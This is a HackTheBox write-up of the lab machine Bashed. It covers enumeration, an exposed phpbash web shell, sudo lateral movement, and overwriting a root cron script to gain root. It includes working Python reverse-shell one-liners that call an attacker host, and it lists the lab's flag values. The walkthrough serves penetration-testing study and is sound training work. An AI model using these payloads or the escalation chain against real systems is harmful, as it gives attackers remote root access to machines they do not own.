Back to Blog
HTB Write-up HackTheBox / Bashed
HTB Write-up

phpbash in /dev/.
Sudo Lateral to scriptmanager.
Cron Runs Your Script as Root.

The developer built phpbash on this exact server and left it running. Gobuster finds it in /dev/ with directory listing open. The web shell runs as www-data, which has sudo NOPASSWD to run any command as scriptmanager. scriptmanager owns a Python script in /scripts/ that root executes on a cron schedule. The output file is owned by root. Overwrite the script with a reverse shell payload, wait for cron to fire, root shell lands.


Machine Bashed
Platform HackTheBox
OS Linux (Ubuntu)
Difficulty Easy
Date 2 May 2026
Status Rooted
Flags User + Root

The Machine

Bashed is a Linux machine with a single open port: HTTP on 80. The attack path runs through three distinct phases: finding a developer tool left on the server, using a sudo misconfiguration to move laterally to a more privileged account, and identifying a cron-executed script that the new account owns and can overwrite.

This machine covers techniques that appear frequently in real engagements. Developer tools, debug panels, and admin interfaces left accessible on production systems are a common initial access vector. The cron detection method here, observing file ownership and output timestamps rather than reading crontab, is essential knowledge for environments where crontab access is restricted.

PortServiceNotes
80HTTP (Apache 2.4.18)Single attack surface. All paths run through the web server

Enumeration

Two-phase nmap. Single open port.

$ nmap -p- --min-rate 1000 -oN bashed-all-ports.txt 10.129.27.55
Nmap wide port scan showing one open port: 80 on Bashed
$ nmap -p 80 -sC -sV --min-rate 1000 -oN bashed-service-scan.txt 10.129.27.55
Nmap service scan showing Apache httpd 2.4.18 on port 80, title: Arrexel's Development Site

Apache 2.4.18 on port 80. Page title: "Arrexel's Development Site". Only one attack surface.

Web Application: Arrexel's Development Site

Arrexel's Development Site homepage on Bashed Site content showing phpbash project description on Bashed Site content confirming phpbash was developed and tested on this exact server

The homepage explicitly states that phpbash was developed and tested on this server. The GitHub link confirms phpbash is an interactive PHP web shell. The attack surface is identified before gobuster runs: find the shell.

Directory Enumeration

$ gobuster dir -u http://10.129.27.55 \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt \
  -x php,html,txt -o bashed-gobuster.txt
Gobuster results showing /uploads/, /dev/, /php/, and config.php on Bashed

Key findings: /dev/, /uploads/, /php/, and config.php. Investigate /dev/ first given the homepage context.

Apache directory listing of /dev/ showing phpbash.php and phpbash.min.php

Directory listing is enabled on /dev/. It contains phpbash.php and phpbash.min.php.

Apache directory listing of /uploads/ showing an empty directory

/uploads/ is empty. The web shell in /dev/ is the entry point.

Finding

phpbash, an interactive PHP web shell, was left on the server at /dev/phpbash.php with directory listing enabled on the parent directory. The homepage explicitly documented its presence. Developer tools and debug interfaces left accessible on production systems are a direct foothold vector.


Foothold: phpbash Web Shell

Navigate directly to the shell:

http://10.129.27.55/dev/phpbash.php
phpbash interactive web shell running as www-data on Bashed

Interactive web shell running as www-data. First check:

www-data@bashed:/var/www/html/dev# sudo -l

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
Finding

www-data can run any command as scriptmanager with no password. This is a lateral movement path, not a direct escalation to root. The value is in what scriptmanager has access to that www-data does not.

Reverse Shell Upgrade

The phpbash web shell is sufficient for enumeration but limited for interactive commands. Upgrade to a proper reverse shell before attempting lateral movement:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.67",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
Reverse shell landed as www-data and upgraded to a stable TTY on Bashed

Lateral Movement: sudo to scriptmanager

sudo -u scriptmanager /bin/bash

Shell as scriptmanager. Grab the user flag:

cat /home/arrexel/user.txt
User flag captured from /home/arrexel/user.txt as scriptmanager on Bashed
USER 8c8dd22e4f1f8cce5a9c9ffced522cfe

Privilege Escalation: Cron Script Overwrite

Enumerate unusual directories. /scripts/ exists at the root of the filesystem and is owned by scriptmanager. Check the ownership of everything inside it:

ls -la /scripts/
/scripts/ listing showing test.py owned by scriptmanager and test.txt owned by root with a recent timestamp
-rw-r--r-- 1 scriptmanager scriptmanager  58 Dec  4  2017 test.py
-rw-r--r-- 1 root          root           12 May  2 05:38 test.txt

Two files. test.py is owned by scriptmanager and writable. test.txt is owned by root with a recent timestamp. Root is executing test.py on a cron schedule and writing the output to test.txt. scriptmanager can overwrite test.py with any content.

Finding

Root executes /scripts/test.py on a cron schedule. The script is owned by scriptmanager and writable. Replacing the script content with a reverse shell payload will execute it as root when cron fires. No crontab access is needed. The ownership pattern of the files tells the full story: scriptmanager owns the script, root owns the output.

Set up a second listener on port 5555, then overwrite test.py:

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.67",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' > /scripts/test.py
Overwriting /scripts/test.py with a Python reverse shell payload as scriptmanager

Wait for cron to fire. Root shell lands on the listener at port 5555.

cat /root/root.txt
Root flag captured from /root/root.txt on Bashed after cron fires the overwritten script
ROOT 1efe6023b939ae47d2b706861c0c747c
HackTheBox Bashed solved confirmation screen, pwned 2 May 2026

Attack Chain

StepTechniqueResult
1Nmap two-phase scanApache 2.4.18 on port 80. Single attack surface
2Homepage analysisphpbash explicitly referenced as built and tested on this server
3Gobuster with .php extension/dev/ found with directory listing. phpbash.php exposed
4phpbash.php accessed directlyInteractive web shell as www-data. sudo -l reveals scriptmanager NOPASSWD:ALL
5Python reverse shell from web shellStable reverse shell as www-data, upgraded to TTY
6sudo -u scriptmanager /bin/bashLateral move to scriptmanager. User flag captured from /home/arrexel/
7/scripts/ ownership analysistest.py (scriptmanager-owned, writable) executed by root via cron. test.txt timestamp confirms schedule
8Overwrite test.py with reverse shellRoot shell lands when cron fires. Root flag captured

Vulnerabilities Found

VulnerabilityLocationImpact
Developer tool left on production server/dev/phpbash.php, Apache directory listing enabledDirect interactive web shell as www-data, no authentication required
sudo NOPASSWD:ALL to scriptmanager/etc/sudoers, www-data accountLateral movement to scriptmanager, unlocking /scripts/ write access
Root cron executing user-writable script/scripts/test.py, root crontabscriptmanager can overwrite the script to execute arbitrary commands as root

Lessons Learned

  • Developer tools left on production servers are a direct foothold. phpbash was intentionally placed on this server during development and never removed. Any web enumeration that surfaces a dev directory, debug panel, or admin interface must be investigated immediately before moving on.
  • Read the application before running tools. The homepage documented phpbash's presence explicitly. The recon was done before gobuster ran. Context from the application often identifies the target faster than brute-force enumeration.
  • sudo lateral movement is not the same as privilege escalation. Moving from www-data to scriptmanager via sudo is a lateral move between user accounts. The value is not the move itself but what scriptmanager owns that www-data does not. Always enumerate what the new account can access after any lateral move.
  • Cron detection without crontab access: watch file ownership and timestamps. There was no crontab visible to scriptmanager, but test.txt was owned by root with a fresh timestamp while test.py was owned by scriptmanager. Those two data points together confirm a root cron job. On the exam, always check /scripts/, /opt/, and unusual top-level directories for this pattern.
  • Upgrade a web shell to a reverse shell before attempting lateral movement or privesc. phpbash was sufficient for initial enumeration but impractical for interactive commands. A proper TTY with job control is required for reliable shell operations during lateral movement and escalation.
  • Two listeners, two ports. The initial foothold used port 4444 for the www-data reverse shell. The cron exploitation required a second listener on port 5555. Pre-plan listener ports when the attack chain involves multiple shell callbacks.
Previous 403 on the Directory. 200 on the Script Inside. Shellshock. Sudo Perl. Root.
Found this useful?

Share it with your network.